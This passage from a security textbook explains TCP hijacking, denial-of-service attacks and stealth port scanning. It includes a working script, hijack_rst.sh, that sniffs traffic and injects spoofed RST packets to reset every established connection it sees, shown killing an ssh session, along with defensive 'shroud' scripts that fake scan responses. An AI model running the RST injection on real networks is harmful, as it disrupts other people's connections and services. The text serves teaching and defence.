TCP/IP hijacking is a clever technique that uses spoofed packets to take over a 
connection between a victim and a host machine. The victim’s connection hangs, 
and the attacker is able to communicate with the host machine as if the attacker 
were the victim. This technique is exceptionally useful when the victim uses a 
one-time password to connect to the host machine. A one-time password can be 
used to authenticate once, and only once, which means that sniffing the 
authentication is useless for the attacker. In this case, TCP/IP hijacking is an 
excellent means of attack.

As mentioned earlier in the chapter, during any TCP connection, each side 
maintains a sequence number. As packets are sent back and forth, the sequence 
number is incremented with each packet sent. Any packet that has an incorrect 
sequence number isn’t passed up to the next layer by the receiving side. The 
packet is dropped if earlier sequence numbers are used, or it is stored for later 
reconstruction if later sequence numbers are used. If both sides have incorrect 
sequence numbers, any communications that are attempted by either side aren’t 
passed up by the corresponding receiving side, even though the connection 
remains in the established state. This condition is called a desynchronized state, 
which causes the connection to hang. 

To carry out a TCP/IP hijacking attack, the attacker must be on the same 
network as the victim. The host machine the victim is communicating with can be 
anywhere. The first step is for the attacker to use a sniffing technique to sniff the 
victim’s connection, which allows the attacker to watch the sequence numbers of 
both the victim (system A in the following illustration) and the host machine 
(system B). Then the attacker sends a spoofed packet from the victim’s IP 
address to the host machine, using the correct sequence number, as shown on 
the facing page.

The host machine receives the spoofed packet and, believing it came from 
the victim’s machine, increments the sequence number and responds to the 
victim’s IP. Because the victim’s machine doesn’t know about the spoofed packet, 
the host machine’s response has an incorrect sequence number, so the victim 
ignores the response packet. And because the victim’s machine ignored the host 
machine’s response packet, the victim’s sequence number count is off. Therefore 
any packet the victim tries to send to the host machine will have an incorrect 
sequence number as well, causing the host machine to ignore the packet.
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The attacker has forced the victim’s connection with the host machine into a 
desynchronized state. And because the attacker sent out the first spoofed packet 
that caused all this chaos, the attacker can keep track of sequence numbers and 
continue spoofing packets from the victim’s IP address to the host machine. This 
lets the attacker continue communicating with the host machine while the 
victim’s connection hangs.

0x341 RST Hijacking

A very simple form of TCP/IP hijacking involves injecting an authentic-looking 
reset (RST) packet. If the source is spoofed and the acknowledgment number is 
correct, the receiving side will believe that the source actually sent the reset 
packet and reset the connection. 

This effect can be accomplished with tcpdump, awk, and a command-line 
packet-injection tool like nemesis. Tcpdump can be used to sniff for established 
connections by filtering for packets with the ACK flag turned on. This can be 
done with a packet filter that looks at the 13th octet of the TCP header. The flags 
are found in the order of URG, ACK, PSH, RST, SYN, and FIN, from left to right. 
This means that if the ACK flag is turned on, the 13th octet would be 00010000 
in binary, which is 16 in decimal. If both SYN and ACK are turned on, the 13th 
octet would be 00010010 in binary, which is 18 in decimal. 

In order to create a filter that matches when the ACK flag is turned on 
without caring about any of the other bits, the bitwise AND operator is used. 
ANDing 00010010 with 00010000 will produce 00010000, because the ACK bit is 
the only bit where both bits are 1. This means a filter of tcp[13] & 16 == 16 will 
match packets where the ACK flag is turned on, regardless of the state of the 
remaining flags.

# tcpdump -S -n -e -l "tcp[13] & 16 == 16"

tcpdump: listening on eth0

src  : 192.168.0.100
dst  : 192.168.0.200
seq #: 1429775000
ack #: 1250510000
len  : 24

src  : 192.168.0.200
dst  : 192.168.0.100
seq #: 1250510000
ack #: 1429775024
len  : 167 src  : 192.168.0.100

dst  : 192.168.0.200
seq #: 1429775024
ack #: 1250510167
len  : 71

System A

192.168.0.100

System B

192.168.0.200

Attacker
system
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22:27:17.437439 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 98: 192.168.0.193.22 > 

192.168.0.118.2816: P 1986373934:1986373978(44) ack 3776820979 win 6432 (DF) [tos 

0x10]

22:27:17.447379 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 242: 192.168.0.193.22 > 

192.168.0.118.2816: P 1986373978:1986374166(188) ack 3776820979 win 6432 (DF) [tos 

0x10]

The -S flag tells tcpdump to print absolute sequence numbers, and -n prevents 
tcpdump from converting the addresses to names. Additionally, the -e flag is used 
to print the link-level header on each dump line, and -l buffers the output line 
so it can be piped into another tool, like awk.

Awk is a wonderful scripting tool that can be used to parse through the tcpdump
output to extract the source and destination IP addresses, ports, and MAC 
addresses, as well as the acknowledgment and sequence numbers. The 
acknowledgment number in a packet outbound from a target will be the new 
expected sequence number for a response packet to that target. This 
information can be used to craft a spoofed RST packet with nemesis. This spoofed 
packet is then sent out, and all connections that are seen by tcpdump will be reset.

File: hijack_rst.sh

#!/bin/sh

tcpdump -S -n -e -l "tcp[13] & 16 == 16" | awk '{

# Output numbers as unsigned

  CONVFMT="%u";

# Seed the randomizer

  srand();

# Parse the tcpdump input for packet information

  dst_mac = $2;

  src_mac = $3;

  split($6, dst, ".");

  split($8, src, ".");

  src_ip = src[1]"."src[2]"."src[3]"."src[4];

  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];

  src_port = substr(src[5], 1, length(src[5])-1);

  dst_port = dst[5];

# Received ack number is the new seq number

  seq_num = $12;

# Feed all this information to nemesis

  exec_string = "nemesis tcp -v -fR -S "src_ip" -x "src_port" -H "src_mac" -D 

"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num;

# Display some helpful debugging info.. input vs. output
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  print "[in]  "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12;

  print "[out] "exec_string;

# Inject the packet with nemesis

  system(exec_string);

}'

When this script is run, any established connection will be reset upon detection. 
In the following example, an ssh session between 192.168.0.193 and 
192.168.0.118 is reset.

# ./hijack_rst.sh

tcpdump: listening on eth0

[in]  22:37:42.307362 0:c0:f0:79:3d:30 0:0:ad:d1:c7:ed 0800 74: 192.168.0.118.2819 

> 192.168.0.193.22: P 3956893405:3956893425(20) ack 2752044079

[out] nemesis tcp -v -fR -S 192.168.0.193 -x 22 -H 0:0:ad:d1:c7:ed -D 192.168.0.118 

-y 2819 -M 0:c0:f0:79:3d:30 -s 2752044079

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

     [Ethernet type] IP (0x0800)

                [IP] 192.168.0.193 > 192.168.0.118

             [IP ID] 22944

          [IP Proto] TCP (6)

            [IP TTL] 255

            [IP TOS] 00

    [IP Frag offset] 0000

     [IP Frag flags]

         [TCP Ports] 22 > 2819

         [TCP Flags] RST

[TCP Urgent Pointer] 0

   [TCP Window Size] 4096

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected

[in]  22:37:42.317396 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 74: 192.168.0.193.22 > 

192.168.0.118.2819: P 2752044079:2752044099(20) ack 3956893425

[out] nemesis tcp -v -fR -S 192.168.0.118 -x 2819 -H 0:c0:f0:79:3d:30 -D 

192.168.0.193 -y 22 -M 0:0:ad:d1:c7:ed -s 3956893425

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:C0:F0:79:3D:30 > 00:00:AD:D1:C7:ED

     [Ethernet type] IP (0x0800)
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                [IP] 192.168.0.118 > 192.168.0.193

             [IP ID] 25970

          [IP Proto] TCP (6)

            [IP TTL] 255

            [IP TOS] 00

    [IP Frag offset] 0000

     [IP Frag flags]

         [TCP Ports] 2819 > 22

         [TCP Flags] RST

[TCP Urgent Pointer] 0

   [TCP Window Size] 4096

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected

0x350 Denial of Service

Another form of network attack is a denial of service (DoS) attack. RST hijacking 
is actually a form of DoS attack. Instead of trying to steal information, a DoS 
attack simply prevents access to a service or resource. There are two general 
forms of DoS attacks: those that crash services and those that flood services. 

Denial of service attacks that crash services are actually more similar to 
program exploits than network-based exploits. Often these attacks are 
dependent on a poor implementation by a specific vendor. A buffer-overflow 
exploit gone wrong will usually just crash the target program instead of changing 
the execution flow to the injected shellcode. If this program happens to be on a 
server, then no one else can access that service. Crashing DoS attacks like this are 
closely tied to a certain program and a certain version, but there have been a few 
crashing DoS attacks that affected multiple vendors due to similar network 
oversights. Even though these oversights are all patched in most modern 
operating systems, it’s still useful to think about how these techniques might be 
applied to different situations.

0x351 The Ping of Death

Under the specification for ICMP, ICMP echo messages are only meant to have 
216, or 65,536 bytes of data in the data part of the packet. The data portion of 
ICMP packets is commonly overlooked, because the important information is in 
the header. Several operating systems crashed if they were sent ICMP echo 
messages that exceeded the size specified. An ICMP echo message of this 
gargantuan size became affectionately known as The Ping of Death. It was a very 
simple hack in response to a vulnerability that existed because those vendors 
never considered this possibility. Nearly all modern systems are patched against 
this vulnerability now.
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0x352 Teardrop

Another similar crashing DoS attack that came about for the same reason was 
called teardrop. Teardrop exploited another weakness in several vendors’ 
implementations of IP fragmentation reassembly. Usually when a packet is 
fragmented, the offsets stored in the header will line up to reconstruct the 
original packet with no overlap. The teardrop attack sent packet fragments with 
overlapping offsets, which caused implementations that didn’t check for this 
irregular condition to inevitably crash.

0x353 Ping Flooding

Flooding DoS attacks don’t try to necessarily crash a service or resource, but 
instead try to overload it so it can’t respond. Similar attacks can tie up resources 
like CPU cycles and system processes, but a flooding attack specifically tries to tie 
up a network resource. 

The simplest form of flooding is just a ping flood. The goal is to use up the 
victim’s bandwidth so that legitimate traffic can’t get through. The attacker sends 
many significantly large ping packets to the victim, which eats away at the 
bandwidth of the victim’s network connection. 

There’s nothing really clever about this attack, as it’s mainly just a battle of 
bandwidth; an attacker with greater bandwidth than a victim can send more data 
than the victim can receive, and therefore deny other legitimate traffic from 
getting to the victim.

0x354 Amplification Attacks

There are actually some clever ways to perform a ping flood, without having 
massive amounts of bandwidth. An amplification attack uses spoofing and 
broadcast addressing to amplify a single stream of packets by a hundredfold. 
First, a target amplification system must be found. This is a network that allows 
communication to the broadcast address and has a relatively high number of 
active hosts. Then the attacker sends large ICMP echo request packets to the 
broadcast address of the amplification network, with a spoofed source address of 
the victim’s system. The amplifier will broadcast these packets to all the hosts on 
the amplification network, which will then send corresponding ICMP echo reply 
packets to the spoofed source address, which is the victim’s machine. 

Attacker

Victim

All hosts respond

to the spoofed source

address

Spoofed packet from

victim's address sent

to the broadcast

address of the

amplification network

Amplification network

A B C D E

F G H I J
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This amplification of traffic allows the attacker to send a relatively small stream of 
ICMP echo request packets out, while the victim gets swamped with up to a 
couple hundred times as many ICMP echo reply packets. This attack can be done 
with both ICMP packets and UDP echo packets. These techniques are known as 
smurf and fraggle attacks, respectively. 

0x355 Distributed DoS Flooding

A distributed DoS (DDoS) attack is a distributed version of a flooding DoS attack. 
Because bandwidth consumption is the goal of a flooding DoS attack, the more 
bandwidth the attacker is able to work with, the more damage they can do. In a 
DDoS attack, the attacker first compromises a number of other hosts and installs 
daemons on them. These daemons wait patiently until the attacker picks a victim 
and decides to attack. The attacker uses some sort of controlling program, and 
all of the daemons simultaneously attack the victim using some form of flooding 
DoS attack. Not only does the great number of distributed hosts multiply the 
effect of the flooding, it also makes tracing the attack that much more difficult.

0x356 SYN Flooding

Instead of exhausting bandwidth, a SYN flood tries to exhaust states in the 
TCP/IP stack. Because TCP maintains connections, it must track these 
connections and their state somewhere. The TCP/IP stack handles this, but the 
number of connections a single TCP stack can track is finite, and a SYN flood 
uses spoofing to take advantage of this limitation. 

The attacker floods the victim’s system with many SYN packets, using a 
spoofed nonexistent source address. Because a SYN packet is used to initiate a 
TCP connection, the victim’s machine will send a SYN/ACK packet to the 
spoofed address in response and wait for the expected ACK response. Each of 
these waiting, half-open connections goes into a backlog queue that has limited 
space. Because the spoofed source addresses don’t actually exist, the ACK 
responses needed to remove these entries from the queue and complete the 
connection never come. Instead, each half-open connection must time out, 
which takes a relatively long time. 

As long as the attacker continues to flood the victim’s system with spoofed 
SYN packets, the victim’s backlog queue will remain full, making it nearly 
impossible for real SYN packets to get to the system and initiate valid TCP/IP 
connections.

0x360 Port Scanning

Port scanning is a way of figuring out which ports are listening and accepting 
connections. Because most services run on standard, documented ports, this 
information can be used to determine which services are running. The simplest 
form of port scanning involves trying to open TCP connections to every possible 
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port on the target system. While this is effective, it’s also noisy and detectable. 
Also, when connections are established, services will normally log the IP address. 
To avoid this, several clever techniques have been invented to avoid detection.

0x361 Stealth SYN Scan

A SYN scan is also sometimes called a half-open scan. This is because it doesn’t 
actually open a full TCP connection. Recall the TCP/IP handshake: When a full 
connection is made, first a SYN packet is sent, then a SYN/ACK packet is sent 
back, and finally an ACK packet is returned to complete the handshake and open 
the connection. A SYN scan doesn’t complete the handshake, so a full 
connection is never opened. Instead, only the initial SYN packet is sent, and the 
response is examined. If a SYN/ACK packet is received in response, that port 
must be accepting connections. This is recorded, and a RST packet is sent to tear 
down the connection to prevent the service from accidentally being DoSed. 

0x362 FIN, X-mas, and Null Scans

In response to SYN scanning, new tools to detect and log half-open connections 
were created. So, yet another collection of techniques for stealth port scanning 
evolved: FIN, X-mas, and Null scans. These all involve sending a nonsensical 
packet to every port on the target system. If a port is listening, these packets just 
get ignored. However, if the port is closed and the implementation follows 
protocol (RFC 793), a RST packet will be sent. This difference can be used to 
detect which ports are accepting connections, without actually opening any 
connections. 

The FIN scan sends a FIN packet, the X-mas scan sends a packet with FIN, 
URG, and PUSH turned on (named because the flags are lit up like a Christmas 
tree), and the Null scan sends a packet with no TCP flags set. While these types of 
scans are stealthier, they can also be unreliable. For instance, Microsoft’s 
implementation of TCP doesn’t send RST packets like it should, making this 
form of scanning ineffective.

0x363 Spoofing Decoys

Another way to avoid detection is to hide among several decoys. This technique 
simply spoofs connections from various decoy IP addresses in between each real 
port-scanning connection. The responses from the spoofed connections aren’t 
needed, because they are simply misleads. However the spoofed decoy addresses 
must use real IP addresses of live hosts; otherwise the target may be accidentally 
be SYN flooded.

0x364 Idle Scanning

Idle scanning is a way to scan a target using spoofed packets from an idle host, by 
observing changes in the idle host. The attacker needs to find a usable idle host 
that is not sending or receiving any other network traffic and has a TCP 
implementation that produces predictable IP IDs that change by a known 
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increment with each packet. IP IDs are meant to be unique per packet per 
session, and they are commonly incremented by 1 or 254 (depending on byte 
ordering) on Windows 95 and 2000, respectively. Predictable IP IDs have never 
really been considered a security risk, and idle scanning takes advantage of this 
misconception. 

First the attacker gets the current IP ID of the idle host by contacting it with 
a SYN packet or an unsolicited SYN/ACK packet, and observing the IP ID of the 
response. By repeating this process a couple more times, the increment that the 
IP ID changes with each packet can be determined. 

Then the attacker sends a spoofed SYN packet with the idle host’s IP address 
to a port on the target machine. One of two things will happen, depending on 
whether that port on the victim machine is listening:

� If that port is listening, a SYN/ACK packet will be sent back to the idle host. 
But because the idle host didn’t actually send out the initial SYN packet, this 
response appears to be unsolicited to the idle host, and it responds by send-
ing back a RST packet. 

� If that port isn’t listening, the target machine will send a RST packet back to 
the idle host, which requires no response. 

At this point, the attacker contacts the idle host again to determine how much 
the IP ID has incremented. If it has only incremented by one interval, no other 
packets were sent out by the idle host between the two checks. This implies that 
the port on the target machine is closed. If the IP ID has incremented by two 
intervals, one packet, presumably a RST packet, was sent out by the idle machine 
between the checks. This implies that the port on the target machine is open. 

The steps are illustrated here for both possible outcomes:

Idle host Attacker

Target

SYN/ACK

RST (ID = 52)

SYN/ACK RST (ID = 51)

SYN

Spoofed with idle host

as the source address

Step 1Step 2

Step 3 Last ID from 

idle host = 50

Idle host Attacker

Target

SYN/ACK

RST (ID = 51)

SYN

Spoofed with idle host

as the source address

Step 1

Step 2 Last ID from 

idle host = 50

Port open on target

Port closed on target
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Of course, if the idle host isn’t truly idle, the results will be skewed. If there is 
light traffic on the idle host, multiple packets can be sent for each port. If 20 
packets are sent, then a change of 20 incremental steps should be seen for an 
open port, and none for a closed port. Even if there is light traffic, such as one or 
two non–scan-related packets on the idle host, this difference is large enough 
that it can still be detected.

If this technique is used properly on an idle host that doesn’t have any 
logging capabilities, the attacker can scan any target without ever revealing her 
IP address.

0x365 Proactive Defense (Shroud)

Port scans are often used to profile systems before they are attacked. Knowing 
what ports are open allows an attacker to determine which services can be 
attacked. Many IDSs offer methods to detect port scans, but by then the 
information has already been leaked. While writing this chapter, I wondered if it 
were possible to prevent port scans before they actually happened. Hacking 
really is all about coming up with new ideas, so a simple, newly developed 
method for proactive port-scanning defense will be presented here.

First of all, the FIN, Null, and X-mas scans can be prevented by a simple 
kernel modification. If the kernel never sends reset packets, these scans will turn 
up nothing. The following output uses grep to find the kernel code responsible 
for sending reset packets.

# grep -n -A 12 "void.*send_reset" /usr/src/linux/net/ipv4/tcp_ipv4.c

1161:static void tcp_v4_send_reset(struct sk_buff *skb)

1162-{

1163-   struct tcphdr *th = skb->h.th;

1164-   struct tcphdr rth;

1165-   struct ip_reply_arg arg;

1166-

1167-   return; // Modification: Never send RST, always return.

1168-

1169-   /* Never send a reset in response to a reset. */

1170-   if (th->rst)

1171-           return;

1172-

1173-   if (((struct rtable*)skb->dst)->rt_type != RTN_LOCAL)

By adding the return command (shown above in bold), the tcp_v4_send_reset()
kernel function will simply return instead of doing anything. After the kernel is 
recompiled, the result is a kernel that doesn’t send out reset packets, avoiding 
information leakage.
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FIN scan before the kernel modification:

# nmap -vvv -sF 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Host  (192.168.0.189) appears to be up ... good.

Initiating FIN Scan against  (192.168.0.189)

The FIN Scan took 17 seconds to scan 1601 ports.

Adding open port 22/tcp

Interesting ports on  (192.168.0.189):

(The 1600 ports scanned but not shown below are in state: closed)

Port       State       Service

22/tcp     open        ssh

Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds

#

FIN scan after the kernel modification:

# nmap -sF 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

All 1601 scanned ports on  (192.168.0.189) are: filtered

Nmap run completed -- 1 IP address (1 host up) scanned in 100 seconds

#

This works fine for scans that rely on RST packets, but preventing information 
leakage with SYN scans and full-connect scans is a bit more difficult. In order to 
maintain functionality, open ports have to respond with SYN/ACK packets, but if 
all of the closed ports also responded with SYN/ACK packets, the amount of 
useful information an attacker could retrieve from port scans would be 
minimized. Simply opening every port would cause a major performance hit, 
though, which isn’t desirable. Ideally, this should all be done without using the 
TCP stack. That sounds like a job for a nemesis script:

File: shroud.sh

#!/bin/sh

HOST="192.168.0.189"

/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST) and !(dst 

port 22)" | /bin/awk '{

# Output numbers as unsigned

  CONVFMT="%u";
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# Seed the randomizer

  srand();

# Parse the tcpdump input for packet information

  dst_mac = $2;

  src_mac = $3;

  split($6, dst, ".");

  split($8, src, ".");

  src_ip = src[1]"."src[2]"."src[3]"."src[4];

  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];

  src_port = substr(src[5], 1, length(src[5])-1);

  dst_port = dst[5];

# Increment the received seq number for the new ack number

  ack_num = substr($10,1,index($10,":")-1)+1;

# Generate a random seq number

  seq_num = rand() * 4294967296;

# Feed all this information to nemesis

  exec_string = "nemesis tcp -v -fS -fA -S "src_ip" -x "src_port" -H "src_mac" -D 

"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num" -a "ack_num;

# Display some helpful debugging info.. input vs. output

  print "[in]  "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10;

  print "[out] "exec_string;

# Inject the packet with nemesis

  system(exec_string);

}'

When running this script, make sure that the HOST variable is set to the current 
IP address of your host.

The 13th octet is used for a tcpdump filter again, this time only accepting 
packets that are destined for the given host IP on any port, except for 22, and 
that only have the SYN flag on. This will pick up SYN scan attempts, full-connect 
scan attempts, and any other type of connection attempt. Then the packet 
information is parsed through awk, and fed into nemesis to craft a realistic-looking 
SYN/ACK response packet. Port 22 must be avoided, because ssh is already 
responding on that port. All of this is done without using the TCP stack.

With the shroud script running, a telnet attempt will appear to connect even 
though the host machine isn’t even listening to the traffic, as shown here:

From overdose @ 192.168.0.193:

overdose$ telnet 192.168.0.189 12345

Trying 192.168.0.189...

Connected to 192.168.0.189.
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Escape character is '^]'.

^]

telnet> q

Connection closed.

overdose$

The shroud.sh script running on 192.168.0.189:

# ./shroud.sh

tcpdump: listening on eth1

[in]  14:07:09.793997 0:0:ad:d1:c7:ed 0:2:2d:4:93:e4 0800 74: 192.168.0.193.32837 > 

192.168.0.189.12345: S 2071082535:2071082535(0)

[out] nemesis tcp -v -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D 

192.168.0.193 -y 32837 -M 0:0:ad:d1:c7:ed -s 979061690 -a 2071082536

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED

     [Ethernet type] IP (0x0800)

                [IP] 192.168.0.189 > 192.168.0.193

             [IP ID] 2678

          [IP Proto] TCP (6)

            [IP TTL] 255

            [IP TOS] 00

    [IP Frag offset] 0000

     [IP Frag flags]

         [TCP Ports] 12345 > 32837

         [TCP Flags] SYN ACK

[TCP Urgent Pointer] 0

   [TCP Window Size] 4096

    [TCP Ack number] 2071082536

    [TCP Seq number] 979061690

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected

Now that the script appears to be working properly, any port-scanning methods 
involving SYN packets should be fooled into thinking that every possible port 
is open.

overdose# nmap -sS 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on  (192.168.0.189):
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Port       State       Service

1/tcp      open        tcpmux

2/tcp      open        compressnet

3/tcp      open        compressnet

4/tcp      open        unknown

5/tcp      open        rje

6/tcp      open        unknown

7/tcp      open        echo

8/tcp      open        unknown

9/tcp      open        discard

10/tcp     open        unknown

11/tcp     open        systat

12/tcp     open        unknown

13/tcp     open        daytime

14/tcp     open        unknown

15/tcp     open        netstat

16/tcp     open        unknown

17/tcp     open        qotd

18/tcp     open        msp

19/tcp     open        chargen

20/tcp     open        ftp-data

21/tcp     open        ftp

22/tcp     open        ssh

23/tcp     open        telnet

24/tcp     open        priv-mail

25/tcp     open        smtp

[ output trimmed ]

32780/tcp  open        sometimes-rpc23

32786/tcp  open        sometimes-rpc25

32787/tcp  open        sometimes-rpc27

43188/tcp  open        reachout

44442/tcp  open        coldfusion-auth

44443/tcp  open        coldfusion-auth

47557/tcp  open        dbbrowse

49400/tcp  open        compaqdiag

54320/tcp  open        bo2k

61439/tcp  open        netprowler-manager

61440/tcp  open        netprowler-manager2

61441/tcp  open        netprowler-sensor

65301/tcp  open        pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds

overdose#
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The only service that is actually running is ssh on port 22, but it is hidden in a sea 
of false positives. A dedicated attacker could simply telnet to every port to check 
the banners, but this technique could easily be expanded to spoof banners also. 
In fact, let’s do that right now.

The client machine will respond to the spoofed SYN/ACK with a single ACK 
packet. This packet will always increment the sequence number by exactly one, 
so the proper response packet containing the banner can actually be predicted, 
generated, and sent to the client machine before that machine can even 
generate the ACK response. The banner response packet will have the ACK and 
PSH flags turned on, to match normal banner packets. Interestingly, both 
packets can be generated and sent out without even caring about the ACK 
response from the client. This means the script doesn’t have to keep track of 
connection states, and instead the client’s TCP stack will sort out the packets.

The modified shroud script looks like this:

File: shroud2.sh

#!/bin/sh

HOST="192.168.0.189"

/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST)" | /bin/awk 

'{

# Output numbers as unsigned

  CONVFMT="%u";

# Seed the randomizer

  srand();

# Parse the tcpdump input for packet information

  dst_mac = $2;

  src_mac = $3;

  split($6, dst, ".");

  split($8, src, ".");

  src_ip = src[1]"."src[2]"."src[3]"."src[4];

  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];

  src_port = substr(src[5], 1, length(src[5])-1);

  dst_port = dst[5];

# Increment the received seq number for the new ack number

  ack_num = substr($10,1,index($10,":")-1)+1;

# Generate a random seq number

  seq_num = rand() * 4294967296;

# Precalculate the sequence number for the next packet

  seq_num2 = seq_num + 1;

# Feed all this information to nemesis
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  exec_string = "nemesis tcp -fS -fA -S "src_ip" -x "src_port" -H "src_mac" -D 

"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num" -a "ack_num;

# Display some helpful debugging info.. input vs. output

  print "[in]  "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10;

  print "[out] "exec_string;

# Inject the packet with nemesis

  system(exec_string);

# Do it again to craft the second packet, this time ACK/PSH with a banner

  exec_string = "nemesis tcp -v -fP -fA -S "src_ip" -x "src_port" -H "src_mac" -D 

"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num2" -a "ack_num" -P banner";

# Display some helpful debugging info..

  print "[out2] "exec_string;

# Inject the second packet with nemesis

  system(exec_string);

}'

The payload of the banner packet will be pulled from a file called banner. Just to 
make things extra confusing for the attacker, this can be made to look exactly 
like the valid ssh banner. The following output looks at a normal ssh banner and 
puts a similar-looking banner in the banner data file. Again, when running this 
script, remember to set the HOST variable to your current host’s IP.

On 192.168.0.189:

tetsuo# telnet 127.0.0.1 22

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.5p1

^]

telnet> quit

Connection closed.

tetsuo# printf "SSH-1.99-OpenSSH_3.5p1\n\r" > banner

tetsuo# ./shroud2.sh

tcpdump: listening on eth1

[in]  14:41:12.931803 0:0:ad:d1:c7:ed 0:2:2d:4:93:e4 0800 74: 192.168.0.193.32843 > 

192.168.0.189.12345: S 4226290404:4226290404(0)

[out] nemesis tcp -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D 

192.168.0.193 -y 32843 -M 0:0:ad:d1:c7:ed -s 1943811492 -a 4226290405

TCP Packet Injected

[out2] nemesis tcp -v -fP -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D 

192.168.0.193 -y 32843 -M 0:0:ad:d1:c7:ed -s 1943811493 -a 4226290405 -P banner
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TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED

     [Ethernet type] IP (0x0800)

                [IP] 192.168.0.189 > 192.168.0.193

             [IP ID] 23711

          [IP Proto] TCP (6)

            [IP TTL] 255

            [IP TOS] 00

    [IP Frag offset] 0000

     [IP Frag flags]

         [TCP Ports] 12345 > 32843

         [TCP Flags] ACK PSH

[TCP Urgent Pointer] 0

   [TCP Window Size] 4096

    [TCP Ack number] 4226290405

Wrote 78 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected

From another machine (overdose), it appears that a valid connection to a ssh 
server has occurred.

From overdose @ 192.168.0.193:

overdose$ telnet 192.168.0.189 12345

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.5p1

Further variations could be created to randomly choose from a library of various 
banners or to send out a sequence of menacing ANSI sequences. Imagination is a 
wonderful thing.

Of course, there are also ways to get around a technique like this. I can think 
of at least one way right now. Can you?


